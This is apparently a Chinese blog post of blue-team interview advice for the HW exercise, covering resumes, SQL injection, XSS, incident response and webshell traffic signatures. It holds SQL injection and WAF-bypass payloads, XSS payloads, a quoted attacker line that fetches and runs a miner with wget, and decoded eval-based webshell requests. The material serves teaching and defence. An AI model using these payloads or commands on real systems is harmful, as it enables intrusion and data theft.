文章总结: 本文是一篇关于蓝队(防守方)的护网行动面试经验分享。文章详细介绍了护网行动的背景,并从简历撰写、面试准备和高频面试题三个方面提供了实用建议。其中,简历部分强调了使用标签式语言、STAR法则和量化成果;面试准备涵盖了技术、项目和心理三个层面;高频面试题则深入解析了SQL注入的原理、分类及WAF绕过方法等核心知识点。 综合评分: 85 文章分类: 安全招聘,WEB安全,应急响应,渗透测试,安全意识
【护网面经】蓝队面经分享(详细版)
原创
金夏 金夏
金夏安全
2026年3月29日%2011:55 广东
免责声明
本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,由于传播、利用此文所提供的内容或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关,本次测试仅供学习使用。如有内容争议或侵权,请及时私信我们!我们会立即删除并致歉。谢谢!
写在前面
护网行动走到今天,已经有段时间了。从首次试点到现在,这个每年一度的国家级网络安全实战演练,已经从最初的“形式合规”演变为真正的“实战对抗”。2026年,护网的要求更高了、规则更严了、攻击队的水平也更强了。对于蓝队人员的要求,也完成了从“盯告警、封IP”到“能研判、会溯源、懂对抗”的全面升级。
这篇文章很长,建议你收藏起来慢慢看。如果你正在准备护网面试,可以直接跳到第二部分。
第一部分:护网面试全景图
护网行动,全称是“国家级网络安全实战攻防演练”,每年由国家相关部门组织,邀请红队(攻击队)对参与单位的信息系统进行模拟攻击,蓝队(防守队)进行实时监测和防御。这是一场真刀真枪的对抗,不是走形式。
蓝队的核心目标只有一个:守得住。具体来说,要做到发现攻击、分析攻击、阻断攻击、溯源攻击。
蓝队内部通常分为三个层级,每个层级的职责和要求都不一样
- 初级监测岗是人数最多的岗位,也是很多新人入门的首选。核心职责就是盯告警、看日志、封IP。技术要求相对较低,需要懂基础的漏洞原理,会操作常见的安全设备。面试难度两颗星,主要看态度和学习能力。
- 中级研判岗是技术骨干,需要具备较强的分析能力。核心职责是分析攻击链、判断攻击是否成功、撰写应急报告。要求能够深度分析流量,熟悉各种攻击手法,能够判断误报和真实攻击。面试难度四颗星,主要看经验和知识深度。
- 高级应急溯源岗是技术专家,人数最少,要求最高。核心职责是上机排查、攻击溯源、甚至反制攻击者。要求精通操作系统底层,熟悉内网渗透的各种手法,能够进行逆向分析。面试难度五颗星,主要看实战项目和对抗思维。
二、简历怎么写才能脱颖而出?
先说一个残酷的现实:在护网招聘季,一个HR每天可能要收几百上千份简历,每份简历的浏览时间不超过30秒。如果你的简历不能在30秒内抓住他的注意力,那就直接被淘汰了。
- 常见无用信息(迫不得已才写)
很多人喜欢大篇幅写学生会经历、社团活动、课程成绩。“担任学生会主席”“组织过XX活动”“获得XX奖学金”——这些内容在HR眼里属于无效信息。不是说这些经历不好,而是它们和护网工作没有直接关系。几百上千份简历摆在面前,没人有耐心去找你和岗位匹配的信息。
还有人喜欢写“熟练掌握网络安全知识”“有丰富的渗透测试经验”——这种描述太空洞了,没有任何说服力。
- 建议做法
第一,专业技能要用标签式语言呈现:
什么叫标签式语言?就是让人一眼就能看出你会什么。不要写“熟悉网络安全”,要写“熟悉SQL注入、XSS、CSRF、SSRF等OWASP%20TOP10漏洞原理及绕过方式”。不要写“会用安全设备”,要写“掌握天眼、NGSOC态势感知、椒图主机安全、雷池WAF等设备操作”。
给你的技能分类,比如Web安全、内网安全、应急响应、工具使用,每一类下面列3-5个具体的点。这样HR扫一眼就能判断你的技术栈。
第二,项目经验要用STAR法则来写:
STAR法则是四个英文单词的缩写:Situation(情境)、Task(任务)、Action(行动)、Result(结果)。用这个框架来写项目经历,比任何形容词都有说服力。
给你一个示例:
- 情境:参与2025年山东某银行的护网项目,担任蓝中研判岗
- 任务:负责天眼设备的告警分析和研判
- 行动:累计分析告警2000余条,通过流量包分析、日志溯源等方式,从海量告警中筛选出真实攻击30余起
- 结果:成功协助处置组封禁恶意IP地址50余个,撰写应急分析报告15份,获得客户书面表扬
看到了吗?用数字说话,比说“表现优秀”“工作认真”有力得多。
第三,实战成果要量化呈现:
如果你挖过漏洞,写清楚在哪个平台提交了多少个,是什么级别的漏洞。比如“在补天平台提交高危漏洞8个,CNVD获得编号5个”。
如果你写过技术文章,写清楚在哪个平台发表了什么主题的文章。比如“在FreeBuf发表技术文章10篇,总阅读量超过5万”。
如果你参加过比赛,写清楚什么比赛、什么名次。比如“参加全国大学生信息安全竞赛,获得华北赛区二等奖”。
第四,证书荣誉要写上去。
如果你有CISP、NISP、CISAW等认证,一定要写。2025年底,工信部推出了《人工智能应用与安全工程师证书》,如果你考了这个证,也要写上去。这些证书是敲门砖,能证明你有一定的基础。
总结一个黄金公式:
专业技能(标签化)+%20项目经验(STAR法则)+%20实战成果(量化呈现)+%20证书荣誉(加分项)=%20一份优秀的简历
三、面试前的准备清单
技术准备
技术准备不是临时抱佛脚,而是系统性的复习。建议你花一周时间,把以下内容过一遍:
- OWASP%20TOP10漏洞的原理、利用方式、防御方法,至少能说清楚SQL注入、XSS、CSRF、SSRF、文件上传这几个
- 至少熟悉两到三种安全设备的操作,天眼、态势感知、WAF、蜜罐、椒图,选两三个深入研究
- Windows和Linux应急响应常用命令,不能只背命令,要理解每条命令是做什么的、输出什么信息、怎么分析
- 常见WebShell工具的流量特征,菜刀、蚁剑、冰蝎、哥斯拉,至少能说出它们的主要区别
- AI辅助渗透的基本用法,现在面试越来越喜欢问AI相关的问题了
项目准备
如果你之前参加过护网,一定要把经历梳理清楚。问自己几个问题:当时是什么项目?你的具体职责是什么?遇到过什么棘手的问题?你是怎么解决的?学到了什么?
如果你没有参加过护网,也没关系。可以准备一些渗透测试的项目经历,或者在学校做的安全实验。关键是能说清楚你做了什么、为什么这么做、结果怎么样。
准备一到两个能深入讲解的实战案例,面试官让你讲项目的时候,你能侃侃而谈20分钟,那就稳了。
心理准备
技术面试通常会持续30到60分钟,面试官会从基础问到深入,从理论问到实战。遇到不会的问题很正常,不要慌。你可以说“这个问题我目前不太熟悉,但我猜可能是这样的……”,然后展示你的思考过程。这比直接说“不知道”好得多。
最后一定要准备好反问面试官的问题。比如“贵公司护网项目的客户主要是什么类型?”“这个岗位的发展路径是怎样的?”——这些问题能体现你的主动性和对岗位的重视。
第二部分:高频面试题精析
1.%20自我介绍
这是每一场面试的开场白,回答得好不好直接影响面试官的第一印象。
回答框架
开场:介绍你的姓名、毕业院校或目前状态。如果你有工作经验,也可以说一句目前就职于哪家公司。
技能:说清楚你熟悉哪些漏洞、用过什么设备、掌握哪些工具。这是你最核心的竞争力,要用最简练的语言概括出来。
经验:参加过几次护网?做过什么项目?挖过什么漏洞?如果有数字,一定要说出来。
收尾:表达对岗位的兴趣和自身优势,让面试官感受到你的诚意。
参考示例
面试官你好,我叫小金,去年毕业于XX大学/职业技术学院网络安全专业。我熟悉OWASP%20TOP10漏洞原理和利用方式,尤其对SQL注入和XSS有深入理解。用过天眼、态势感知、蜜罐等安全设备,能够独立完成告警分析和研判。去年参加过山东某银行的护网项目,担任蓝中研判岗,主要负责分析天眼设备的告警、判断攻击是否成功、撰写应急报告。期间累计分析告警2000多条,发现真实攻击30余起,协助处置组封堵恶意IP地址50多个。我对网络安全非常热爱,平时也会在FreeBuf写一些技术文章,希望能加入贵公司参与今年的护网行动。
注意事项
自我介绍不要超过3分钟,2分钟左右最合适。不要背诵简历,面试官手上有你的简历,你要做的是把简历中最亮眼的部分提炼出来。语速要适中,在腾讯会议进行面对面视频时候眼神要有交流,不要低头念稿子。
2. SQL注入的原理、分类、绕过方法
SQL注入是Web安全最经典的漏洞,几乎每一场面试都会问到。
- 原理
SQL注入的原理很简单:用户输入的数据没有被正确过滤,直接拼接到SQL语句中执行,导致攻击者可以执行恶意的SQL代码。
举个例子,正常的SQL查询是:
SELECT * FROM users WHERE username = 'admin' AND password = '123456'
如果攻击者在用户名框里输入admin'%20--,SQL语句就变成了:
SELECT * FROM users WHERE username = 'admin' --'%20AND%20password%20=%20'123456'
—%20是SQL的注释符,后面的内容都被注释掉了,攻击者不需要知道密码就能登录。
- 分类
按回显方式可以分为四类:
-
联合查询注入:攻击者使用UNION关键字将恶意查询的结果附加到原始查询结果后面。这种注入需要页面有回显位置,是最容易利用的。
举个例子,假设有一个新闻页面,URL是
http://example.com/news.php?id=1,后台的SQL查询是:
%20%20%20SELECT title,%20content FROM news WHERE id = 1
如果攻击者构造URL%20:
http://example.com/news.php?id=1%20UNION%20SELECT%20username,%20password%20FROM%20users那么SQL语句就变成了:
%20%20%20SELECT title,%20content FROM news WHERE id = 1 UNION SELECT username,%20password FROM users
如果页面会把查询结果显示出来,那么用户的账号密码就会出现在页面上。
-
报错注入:攻击者故意触发数据库错误,让错误信息泄露敏感数据。利用updatexml、extractvalue、floor等函数可以制造报错。
举个例子,攻击者构造URL:
http://example.com/news.php?id=1%20and%20updatexml(1,%20concat(0x7e,%20database(),%200x7e),%201)SQL语句变成了:
%20%20%20SELECT title,%20content%20FROM%20news%20WHERE%20id%20= 1 and%20updatexml(1,%20concat(0x7e,%20database(), 0x7e), 1)
updatexml函数第二个参数应该是一个有效的XPath路径,但这里传入了~数据库名~,XPath解析失败,数据库就会报错,错误信息中会包含数据库名。这样攻击者就能通过错误信息获取敏感数据。
-
布尔盲注:页面没有回显位置,也没有报错信息,只有“正常”和“异常”两种状态。攻击者通过构造条件判断语句,根据页面返回的真假来逐字符获取数据。
举个例子,假设页面正常显示的时候是“新闻存在”,如果id不存在就显示“新闻不存在”。攻击者构造URL:
http://example.com/news.php?id=1%20and%20ascii(substr(database(),1,1))%20>%20100如果数据库名的第一个字符的ASCII码大于100,页面显示“新闻存在”,否则显示“新闻不存在”。通过不断调整数值,就可以逐字符猜出数据库名。 -
时间盲注:页面只有一种状态,无论输入什么都显示一样。攻击者通过sleep等函数制造时间延迟,根据响应时间来推断数据。
举个例子,假设无论id是多少,页面都显示同样的内容。攻击者构造URL%20:
http://example.com/news.php?id=1%20and%20if(ascii(substr(database(),1,1))%20>%20100,%20sleep(5),%200)如果数据库名的第一个字符的ASCII码大于100,数据库就会等待5秒再返回结果,页面响应时间就是5秒多;否则立即返回,响应时间就是正常的。通过测量响应时间,就可以逐字符猜出数据库名。
按数据类型可以分为字符型注入和数字型注入。字符型注入需要闭合引号,数字型注入不需要。
- 常用报错函数
updatexml():用于更新XML文档,当XPath表达式错误时会报错并显示错误信息。 extractvalue():用于提取XML值,同样会在XPath错误时报错。 floor():配合rand()和group%20by使用,会产生主键重复错误,从而报错。
- WAF绕过方法
WAF绕过是面试的高频考点,需要掌握以下几种常见的技巧。
- 大小写混淆:有些WAF只检测小写的关键字,用SeLeCt、UnIoN这种大小写混合的方式可以绕过。
举个例子,假设有一个新闻页面,URL是 http://example.com/news.php?id=1,后台的SQL查询是:
SELECT title,%20content FROM news WHERE id = 1
如果攻击者构造URL:
http://example.com/news.php?id=1%20uNiOn%20SeLeCt%20username,%20password%20FROM users
那么SQL语句就变成了:
SELECT title,%20content FROM news WHERE id = 1 uNiOn SeLeCt username,%20password FROM users
如果页面会把查询结果显示出来,那么用户的账号密码就会出现在页面上。
- 双写关键字:有些WAF会删除关键字,但只删除一次,用selselectect这种双写方式可以绕过。
举个例子,假设有一个新闻页面,URL是 http://example.com/news.php?id=1,后台的SQL查询是:
SELECT title,%20content FROM news WHERE id = 1
如果攻击者构造URL:
http://example.com/news.php?id=1%20UNIunionON%20SELselectECT%20username,%20password%20FROM users
WAF删除一次关键字后,SQL语句就变成了:
SELECT title,%20content FROM news WHERE id = 1 UNION SELECT username,%20password FROM users
-
内联注释:MySQL支持/!…/这种内联注释,注释内的代码会被执行。用/!50000union/可以绕过某些检测。
举个例子,假设有一个新闻页面,URL是
http://example.com/news.php?id=1,后台的SQL查询是:
%20%20SELECT title,%20content FROM news WHERE id = 1
如果攻击者构造URL:
%20%20http://example.com/news.php?id=1 /*!50000union*/%20/*!50000select*/%20username,%20password%20FROM%20users
那么SQL语句就变成了:
%20%20SELECT title,%20content FROM news WHERE id = 1 /*!50000union*/ /*!50000select*/ username,%20password FROM users
-
URL编码:空格被过滤了可以用%20、%0a、%0d等URL编码代替。关键字也可以进行部分编码。
举个例子,假设有一个新闻页面,URL是
http://example.com/news.php?id=1,后台的SQL查询是:
%20%20SELECT title,%20content FROM news WHERE id = 1
如果攻击者构造URL:
%20%20http://example.com/news.php?id=1%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20username,password%20FROM%20users
那么SQL语句就变成了:
%20%20SELECT title,%20content FROM news WHERE id = 1 UNION SELECT username,%20password FROM users
-
分块传输:POST请求可以使用分块传输编码,把payload拆分成多个小块,绕过WAF的检测。
举个例子,假设有一个登录页面,URL是
http://example.com/login.php,后台的SQL查询是:
%20%20SELECT *%20FROM%20users%20WHERE%20username%20= '$username' AND%20password%20= '$password'
如果攻击者使用分块传输构造POST请求:
%20%20POST /login.php HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunked
%20%2018username=admin'%20union 1Aselect%20password%20from%20users--0
那么SQL语句就变成了:
%20%20SELECT * FROM users WHERE username = 'admin' union select password from users--'%20AND%20password%20=%20''
参考回答:
SQL注入的原理是用户输入未经过滤就被拼接到SQL语句中。按回显方式分为联合查询注入、报错注入、布尔盲注和时间盲注。联合查询注入用UNION拼接查询结果,报错注入用updatexml等函数触发错误,布尔盲注根据页面真假逐字符判断,时间盲注根据响应时间推断数据。常用的报错函数有updatexml、extractvalue和floor。WAF绕过的话,我常用大小写混淆、双写关键字、内联注释、URL编码、分块传输这些方法。比如遇到空格被过滤,我会用%0a或者/**/来替代。
- XSS的原理、类型、区别
XSS跨站脚本攻击是另一个必问的漏洞。
- 原理
XSS的原理是攻击者注入恶意的JavaScript代码,当受害者访问页面时,代码在浏览器中执行,可以窃取cookie、劫持会话、进行钓鱼等。
举个例子,一个搜索页面接收参数?keyword=,然后把关键词原样输出到页面上。如果后台代码是:
echo "您搜索的关键词是:" . $_GET['keyword'];
攻击者构造URL:
http://example.com/search.php?keyword=<script>alert('xss')</script>
页面就会弹出alert窗口。如果换成窃取cookie的代码,攻击者就能拿到用户的cookie。
-
三种类型
-
反射型XSS:攻击代码在URL参数中,服务器把参数原样返回到页面中执行。这是一次性攻击,需要诱骗用户点击恶意链接。攻击经过服务器,但不会存储。
举个例子,假设有一个搜索页面,URL是
http://example.com/search.php?keyword=手机,后台的PHP代码是:
%20%20<?php$keyword = $_GET['keyword'];echo "您搜索的关键词是:" . $keyword;?>
如果攻击者构造URL:
%20%20http://example.com/search.php?keyword=<script>alert('XSS')</script>
那么服务器返回的HTML就变成了:
%20%20您搜索的关键词是:<script>alert('XSS')</script>
当用户点击这个恶意链接时,浏览器会执行alert('XSS'),弹出窗口。刷新页面后,攻击效果消失。
-
存储型XSS:攻击代码被存储到服务器上,比如在评论区、留言板、个人信息等地方。每次用户访问页面,恶意代码都会被加载执行。危害最大,因为是持久性的。
举个例子,假设有一个评论区,URL是
http://example.com/comment.php,后台的PHP代码是:
%20%20<?php$comment = $_POST['comment'];mysql_query("INSERT%20INTO%20comments%20(content)%20VALUES%20('$comment')");$result = mysql_query("SELECT%20content%20FROM%20comments");while($row = mysql_fetch_array($result))%20{ %20 echo $row['content'];}?>
如果攻击者在评论区提交:
%20%20<script>alert('XSS')</script>
服务器把这个内容存储到数据库里。之后每个用户访问评论区时,页面都会从数据库读出并输出:
%20%20<script>alert('XSS')</script>
-
DOM型XSS:攻击代码在前端执行,不经过服务器。通过修改页面的DOM结构,插入恶意代码。比如用document.write、innerHTML等动态写入内容时没有过滤。
举个例子,假设有一个页面,URL是
http://example.com/welcome.html,页面的JavaScript代码是:
%20%20<script>var name%20=%20location.hash.substring(1);document.write("欢迎您:" +%20name);</script>
如果攻击者构造URL:
%20%20http://example.com/welcome.html#<img src=x onerror=alert('XSS')>
location.hash获取到的是#<img%20src=x%20onerror=alert('XSS')>,经过substring(1)去掉#后变成<img%20src=x%20onerror=alert('XSS')>,然后通过document.write写入页面:
%20%20欢迎您:<img src=x onerror=alert('XSS')>
浏览器加载图片时因为src=”x”加载失败,触发onerror事件,执行alert('XSS')。整个过程不经过服务器,攻击代码只在URL的锚点(#后面)中,服务器收到的请求只是/welcome.html,没有任何恶意参数。
- 区别
反射型和存储型都经过服务器,DOM型不经过服务器。反射型需要诱骗用户点击,存储型是持久危害,DOM型是纯前端漏洞。
- 防御方法
- 输入过滤:对用户输入进行严格过滤,比如用白名单只允许特定字符。
- 输出编码:对输出到HTML的内容进行转义,比如把<转成<。
- HttpOnly%20Cookie:设置cookie的HttpOnly属性,让JavaScript无法读取cookie,即使有XSS也拿不到。
- CSP策略:内容安全策略,限制页面可以加载的资源,可以有效防御XSS。
- 参考回答:
XSS的原理是攻击者注入恶意脚本,获取用户的cookie或控制浏览器。有三种类型:反射型是一次性攻击,需要诱骗用户点击;存储型是持久危害,存储在服务器上;DOM型是纯前端执行,不经过服务器。防御方法主要是输入过滤、输出编码、设置HttpOnly%20Cookie、开启CSP。
- 应急响应的流程和常用命令
应急响应是蓝队的核心能力,面试必问。
标准流程
-
第一步:收集信息与隔离。收集告警信息、客户反馈、设备日志,立即断网隔离服务器,防止危害扩大。这一步要快,不然后果会很严重。
举个例子,假设某公司运维人员发现服务器CPU占用率异常飙升至100%,且收到安全设备告警“检测到挖矿病毒通信流量”。应急响应人员立即执行以下操作:
-
Linux:
iptables%20-I%20INPUT%20-s%200.0.0.0/0%20-j%20DROP(禁止所有入站流量) -
Windows:
netsh%20advfirewall%20set%20allprofiles%20state%20on并添加阻断规则 -
或者直接在防火墙或交换机上封禁该IP
- 收集信息:记录告警时间、源IP、目标IP、告警类型(挖矿)、服务器IP地址(192.168.1.100)。
- 隔离服务器:
- 保留证据:使用
ps%20aux%20>%20/tmp/process_list.txt保存当前进程快照,netstat%20-an%20>%20/tmp/connection_list.txt保存网络连接快照。
-
第二步:判断类型。判断是挖矿、勒索、Webshell、数据窃取还是其他类型的攻击。不同类型对应的排查方向和处置方式都不一样。
举个例子,根据第一步收集到的信息,应急响应人员判断攻击类型:
|%20症状%20|%20判断类型%20|%20排查方向%20| |%20—%20|%20—%20|%20—%20| |%20CPU%20100%,进程名随机,连接矿池IP%20|%20挖矿病毒%20|%20排查定时任务、恶意进程、持久化机制%20| |%20文件后缀被改为
.encrypted,桌面有勒索信%20|%20勒索病毒%20|%20排查加密时间、溯源入口、是否有备份%20| |%20Web目录发现shell.php,访问日志有异常POST%20|%20Webshell后门%20|%20排查Web日志、文件完整性、上传点漏洞%20| |%20数据库被导出,非工作时间大量查询%20|%20数据窃取%20|%20排查数据库日志、异常SQL、外部连接%20|本例中,CPU飙高且连接矿池IP,判断为挖矿病毒。
-
第三步:深入排查。这是最核心的一步,要在主机上找出攻击的痕迹。Windows和Linux的排查方法不同,下面会详细说。
举个例子,针对挖矿病毒,在Linux服务器上进行深入排查:
1.%20排查进程:
%20%20#%20查看CPU占用最高的进程top -c#%20发现异常进程,PID为12345,名称为[kswapd0](正常kswapd0不会有方括号)
%20%20#%20查看进程详细信息ls -la%20/proc/12345/exe#%20发现进程路径为%20/tmp/.X11-unix/.rsync/a
%20%20#%20查看进程网络连接lsof -p 12345netstat -anp%20|%20grep 12345#%20发现连接到%2047.xxx.xxx.xxx:4444
2.%20排查定时任务
%20%20#%20查看所有用户的定时任务cat /etc/crontabcrontab%20-lcrontab%20-l%20-u%20rootls -la%20/var/spool/cron/
%20%20#%20发现恶意定时任务*/10%20*%20*%20*%20*%20/tmp/.X11-unix/.rsync/a%20>/dev/null%202>&1
3.%20排查开机启动项
%20%20#%20查看系统服务systemctl%20list-unit-files%20|%20grep%20enabledchkconfig%20--list
%20%20#%20查看rc.localcat /etc/rc.local
%20%20#%20发现恶意服务cat /etc/systemd/system/rsync.service
4.%20排查系统用户
%20%20#%20查看最近登录记录lastlastb
%20%20#%20查看/etc/passwd中新增用户grep%20:0:%20/etc/passwdtail -20%20/etc/passwd
%20%20#%20查看SSH密钥cat /root/.ssh/authorized_keys
5.%20排查历史命令
%20%20#%20查看root的历史命令historycat ~/.bash_history
%20%20#%20发现攻击者执行的命令wget%20http://恶意IP/rsync%20-O%20/tmp/rsyncchmod +x%20/tmp/rsync/tmp/rsync
6.%20排查文件变化
%20%20#%20查找最近24小时内修改的文件find%20/%20-type f%20-mtime%20-1%202>/dev/null
%20%20#%20查找Webshell特征find%20/var/www/html%20-name "*.php" -mtime%20-7%20|%20xargs%20grep%20-l "eval("find%20/var/www/html%20-name "*.php" -mtime%20-7%20|%20xargs%20grep%20-l "base64_decode("
%20%20#%20发现恶意文件find%20/tmp%20-name ".*" -type f%20-exec ls -la%20{}%20\;
-
第四步:清除与恢复。杀掉恶意进程、删除恶意文件、清除后门、加固系统配置、打补丁修复漏洞,然后恢复业务。
举个例子,针对排查发现的挖矿病毒,执行清除操作:
1.%20终止恶意进程
%20%20#%20杀掉进程kill -9%2012345
%20%20#%20如果进程有守护,先删除守护机制再杀chattr%20-i%20/tmp/.X11-unix/.rsync/arm -f%20/tmp/.X11-unix/.rsync/akill -9%2012345
2.%20删除恶意文件
%20%20#%20删除恶意文件目录rm -rf%20/tmp/.X11-unix/.rsync
%20%20#%20删除恶意定时任务crontab%20-e%20 #%20手动删除恶意行#%20或直接编辑sed%20-i '/\.rsync/d' /etc/crontab
%20%20#%20删除恶意服务systemctl%20stop%20rsync.servicesystemctl disable rsync.servicerm -f%20/etc/systemd/system/rsync.service
3.%20修复漏洞
%20%20#%20检查SSH配置,禁止root远程登录sed%20-i 's/PermitRootLogin%20yes/PermitRootLogin%20no/' /etc/ssh/sshd_configsystemctl%20restart%20sshd
%20%20#%20修改所有用户密码passwd%20rootpasswd%20testuser
%20%20#%20更新系统补丁yum%20update%20-y%20 #%20CentOSapt%20update%20&&%20apt%20upgrade%20-y%20 #%20Ubuntu
4.%20恢复业务
%20%20#%20恢复防火墙规则iptables%20-D INPUT -s 0.0.0.0/0 -j%20DROPiptables%20-A INPUT -p tcp --dport 80 -j%20ACCEPTiptables%20-A INPUT -p tcp --dport 443 -j%20ACCEPTiptables%20-A INPUT -m%20state --state ESTABLISHED,RELATED%20-j%20ACCEPT
%20%20#%20确认服务器恢复正常topnetstat%20-anp
-
第五步:输出报告。整理攻击时间线、攻击手法、受影响范围、处置过程和后续加固建议,形成完整的应急报告。举个例子,针对本次挖矿事件,输出应急报告:
应急响应报告%20–%20服务器挖矿病毒事件
|%20项目%20|%20内容%20| |%20—%20|%20—%20| |%20事件编号%20|%20IR-2026-001%20| |%20发生时间%20|%202026年3月27日%2014:30%20| |%20受影响系统%20|%20192.168.1.100%20(Web服务器,CentOS%207)%20| |%20攻击类型%20|%20挖矿病毒%20|
攻击时间线
|%20时间%20|%20事件%20| |%20—%20|%20—%20| |%203月27日%2003:15%20|%20SSH爆破成功,来源IP%201.2.3.4%20| |%203月27日%2003:18%20|%20下载挖矿程序到/tmp/.X11-unix/%20| |%203月27日%2003:20%20|%20创建定时任务和systemd服务实现持久化%20| |%203月27日%2014:30%20|%20CPU飙升至100%,触发告警%20| |%203月27日%2015:00%20|%20启动应急响应,隔离服务器%20|
Windows应急常用命令
- 查看用户:net%20user 查看所有用户,net%20localgroup%20administrators 查看管理员组成员,注意有没有可疑的账号,特别是以$结尾的隐藏账号。
- 查看日志:eventvwr.msc 打开事件查看器,重点关注安全日志。登录成功的事件ID是4624,登录失败是4625,可以筛选查看。
- 查看网络连接:netstat%20-ano 查看所有网络连接,重点关注ESTABLISHED状态的可疑连接。记下可疑的PID,用tasklist%20|%20findstr%20“PID”定位进程。
- 查看进程:tasklist%20/svc 查看所有进程及其服务,wmic%20process%20get%20name,processid,parentprocessid 可以查看进程的详细信息,包括父进程,有助于发现进程注入。
- 查看启动项:msconfig 查看系统配置,重点关注启动选项卡。也可以检查注册表启动项:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- 查看计划任务:taskschd.msc 打开任务计划程序,检查有没有可疑的定时任务,特别是名字看起来像系统任务但行为异常的。
Linux应急常用命令
- 查看用户:cat%20/etc/passwd 查看所有用户,注意有没有UID为0的非root用户。grep%20-v%20nologin%20/etc/passwd 可以过滤掉不能登录的用户,重点关注剩下的。last%20查看最近登录记录,lastb%20查看登录失败的记录。
- 查看进程:top%20-c 查看CPU和内存占用,重点关注占用高的进程。ps%20auxf 查看进程树,可以清楚地看到进程的父子关系,有助于发现异常。
- 查看网络连接:netstat%20-antlp 查看所有网络连接,重点关注ESTABLISHED状态。ss%20-antp 是netstat的替代,速度更快。
- 查看历史命令:history 查看当前用户执行过的命令,可以判断攻击者做了什么。history%20-c%20可以清除历史记录,如果发现历史命令被清空了,本身就是可疑信号。
- 查看定时任务:crontab%20-l 查看当前用户的定时任务,cat%20/etc/crontab 查看系统定时任务,ls%20-la%20/var/spool/cron/ 查看所有用户的定时任务文件。
- 查看开机启动项:systemctl%20list-unit-files%20|%20grep%20enabled 查看所有开机自启的服务,重点关注名字可疑的。
- 日志分析:/var/log/messages 是系统主日志,/var/log/secure 是安全日志。用grep命令过滤关键信息。比如grep%20“Failed%20password”%20/var/log/secure%20|%20awk%20‘{print%20$11}’%20|%20sort%20|%20uniq%20-c 可以统计哪些IP在爆破root账号。
参考回答:
应急响应我一般分五步走。第一步收集信息并隔离服务器,防止危害扩大。第二步判断攻击类型,是挖矿、勒索还是Webshell。第三步深入排查,Windows用netstat、tasklist、eventvwr这些命令,Linux用top、ps、netstat、crontab这些命令。第四步清除后门并恢复业务。第五步输出报告。我之前处理过一个挖矿案例,发现服务器CPU占用100%,通过top定位到可疑进程,kill掉之后发现又起来了,排查定时任务发现有个cron在定期下载挖矿程序,清除定时任务和恶意文件后才彻底解决。
- WebShell工具的流量特征
WebShell连接工具的流量分析是护网监测的核心能力。
- 菜刀
菜刀是最老牌的WebShell工具,流量特征最明显。它使用Base64编码进行通信,请求体中包含固定的字符串。最关键的特征是QGluaV9zZXQo,这是@ini_set(的Base64编码。User-Agent通常是百度或者火狐浏览器,因为菜刀早期版本硬编码了这些UA。
请求体结构一般是:
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTskYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiYzEiXSk7JGNhPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjMiJdKTtldmFsKCRjYyk7
举个例子,假设攻击者通过菜刀连接WebShell,URL是 http://example.com/shell.php,发送执行系统命令的请求:
HTTP请求包:
POST /shell.php%20HTTP/1.1Host:%20example.comUser-Agent:%20Mozilla/5.0 (compatible;%20Baiduspider/2.0;%20+http://www.baidu.com/search/spider.html)Content-Type:%20application/x-www-form-urlencodedContent-Length: 1245
z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvICJbU0tdIjskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pO2V2YWwoJGMpO2VjaG8gIltFU10iOw%3D%3D&z1=Y21k&z2=Y2QgL2Qgd2ViL3d3d3Jvb3QmZWNobyBbU10mY2QmZWNobyBbRV0%3D
请求体解码后(Base64解码z0参数):
@ini_set("display_errors","0");@set_time_limit(0);echo "[SK]";$p=base64_decode($_POST["z1"]);$c=base64_decode($_POST["z2"]);eval($c);echo "[ES]";
关键特征:
- User-Agent为百度爬虫(
Baiduspider) - 请求体包含
QGluaV9zZXQo(@ini_set(的Base64编码) - 参数名通常为
z0、z1、z2等 - 响应包包含
[SK]和[ES]标记
HTTP响应包:
HTTP/1.1 200 OKContent-Type:%20text/htmlContent-Length: 256
[SK]驱动器%20D%20中的卷是%20DATA卷的序列号是 1234-5678
d:\web\wwwroot%20的目录
[ES]
- 蚁剑
蚁剑的代码源于菜刀,但做了大量改进。它支持自定义加密,默认的User-Agent是固定的,可以通过抓包识别。流量中常见@ini_set(“display_errors”,%20“0”),参数通常以0x开头。因为蚁剑支持多种编码器,所以实际流量特征取决于配置,但基础框架的特征还是比较明显。
举个例子,假设攻击者通过蚁剑连接WebShell,URL是 http://example.com/ant.php,使用默认的default编码器:
HTTP请求包:
POST /ant.php%20HTTP/1.1Host:%20example.comUser-Agent:%20antSword/v2.1Content-Type:%20application/x-www-form-urlencodedContent-Length: 856
0x=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd);@array_push($oparr,$ocwd);foreach($oparr as $item){if(!is_dir($item)){if(!is_dir(dirname($item))){continue;}$item=dirname($item);}try{$i=new DirectoryIterator($item);foreach($i as $f){$f=$f->__toString();if($f=="."||$f==".."){continue;}$f=$item."/".$f;if(is_dir($f)){if($f==$ocwd){echo $f."\t@\t";}}}echo $f;}}}
关键特征:
- User-Agent固定为
antSword/v2.1或类似格式 - 参数名通常以
0x开头(如0x=、0x1=) - 请求体包含
@ini_set("display_errors",%20"0") - 支持多种编码器,但基础框架结构可识别
如果使用RSA编码器,请求体会被加密,但参数名0x特征仍然存在:
POST /ant.php%20HTTP/1.1Host:%20example.comUser-Agent:%20antSword/v2.1Content-Type:%20application/x-www-form-urlencodedContent-Length: 512
0x=UEsDBBQAAAAIAO3uD1...(加密后的Base64数据)
- 冰蝎
冰蝎是近年来最流行的WebShell工具,特点是动态加密通信。通信过程分为两个阶段:密钥协商和加密传输。
